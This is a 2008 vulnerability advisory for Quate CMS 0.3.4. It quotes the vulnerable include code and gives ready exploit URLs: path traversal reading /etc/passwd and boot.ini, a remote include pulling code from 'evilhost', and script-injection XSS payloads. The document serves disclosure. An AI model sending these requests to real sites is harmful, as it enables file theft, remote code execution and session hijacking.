131 lines
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4.2 KiB
Text
131 lines
No EOL
4.2 KiB
Text
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-030
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Application: Quate CMS
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Versions Affected: 0.3.4
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Vendor URL: http://www.quate.net/
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Bugs: RFI, Multiple LFI, Directory traversal, Multiple XSS
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Exploits: YES
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Reported: 18.03.2008
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Second report: 25.03.2008
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Vendor response: NONE
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Solution: NONE
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Date of Public Advisory: 23.05.2008
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Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
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Description
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***********
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Quate CMS system has multiple security vulnerabilities:
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1. Multiple Remote/Local File Include
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2. Multiple Linked XSS vulnerabilities
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3. Directory traversal
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Details
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*******
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1. Quate CMS has Multiple Local File Include vulnerabilities.
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1.1 Local File Include vulnerability found in script admin/includes/footer.php
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Code
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****
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#################################################
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if ($not_logged_in != 1) {
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if (file_exists("includes/themes/" .$row_secure['account_theme']. "/footer.php")) {
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require_once("themes/" .$row_secure['account_theme']. "/footer.php");
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} else {
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require_once("themes/" .$admin_template_default. "/footer.php");
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}
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} else {
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require_once("themes/" .$admin_template_default. "/footer.php");
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}
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#################################################
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Example:
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http://[server]/[installdir]/admin/includes/footer.php?admin_template_default=../../../../../../../../../../../../../etc/passwd%00
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http://[server]/[installdir]/admin/includes/footer.php?row_secure[account_theme]=../../../../../../../../../../../../../etc/passwd%00
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http://[server]/[installdir]/admin/includes/footer.php?not_logged_in=1&admin_template_default=../../../../../../../../../../../../../etc/passwd%00
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1.2 Remote and Local File Include vulnerability found in script admin/includes/header.php
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Code
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****
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#################################################
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if ($bypass_installed != 1) {
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if (!is_file("../includes/installed")) {
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...
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require("../includes/simple_gui.php");
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exit();
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}
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}
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if ($bypass_restrict != 1) {
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require_once($secure_page_path. "includes/secure.php");
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}
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$admin_template_default = "default";
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if ($not_logged_in != 1) {
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//echo $row_secure['account_theme'];
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if (file_exists("includes/themes/" .$row_secure['account_theme']. "/header.php")) {
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require_once("themes/" .$row_secure['account_theme']. "/header.php");
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} else {
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require_once("themes/" .$admin_template_default. "/header.php");
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}
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} else {
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require_once("themes/" .$admin_template_default. "/header.php");
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}
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#################################################
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Example:
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http://[server]/[installdir]/admin/includes/header.php?bypass_installed=1&secure_page_path=http://evilhost/info.php%00
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http://[server]/[installdir]/admin/includes/header.php?bypass_installed=1&bypass_restrict=1&row_secure[account_theme]=../../../../../../../../../../../../../etc/passwd%00
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---------------------------------------------------------------------
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2. Linked XSS in Path vulnerability found in following pages:
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/admin/index.php
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/admin/login.php
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/admin/credits.php
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/upgrade/index.php
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Example:
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http://[server]/[installdir]/admin/login.php/"><script>alert("DSecRG XSS")</script>
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http://[server]/[installdir]/upgrade/index.php/"><IMG SRC="javascript:alert('DSecRG XSS')
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---------------------------------------------------------------------
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3. File Manager directory traversal
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Administrator can access system files outside htdocs directory using directory traversal vulnerability.
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http://[server]/[installdir]/admin/filemanager.php?type=edit&dir=/../../../../../../../../..&file=boot.ini
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About
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*****
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Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
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Contact: research [at] dsec [dot] ru
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http://www.dsec.ru (in Russian)
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# milw0rm.com [2008-05-23] |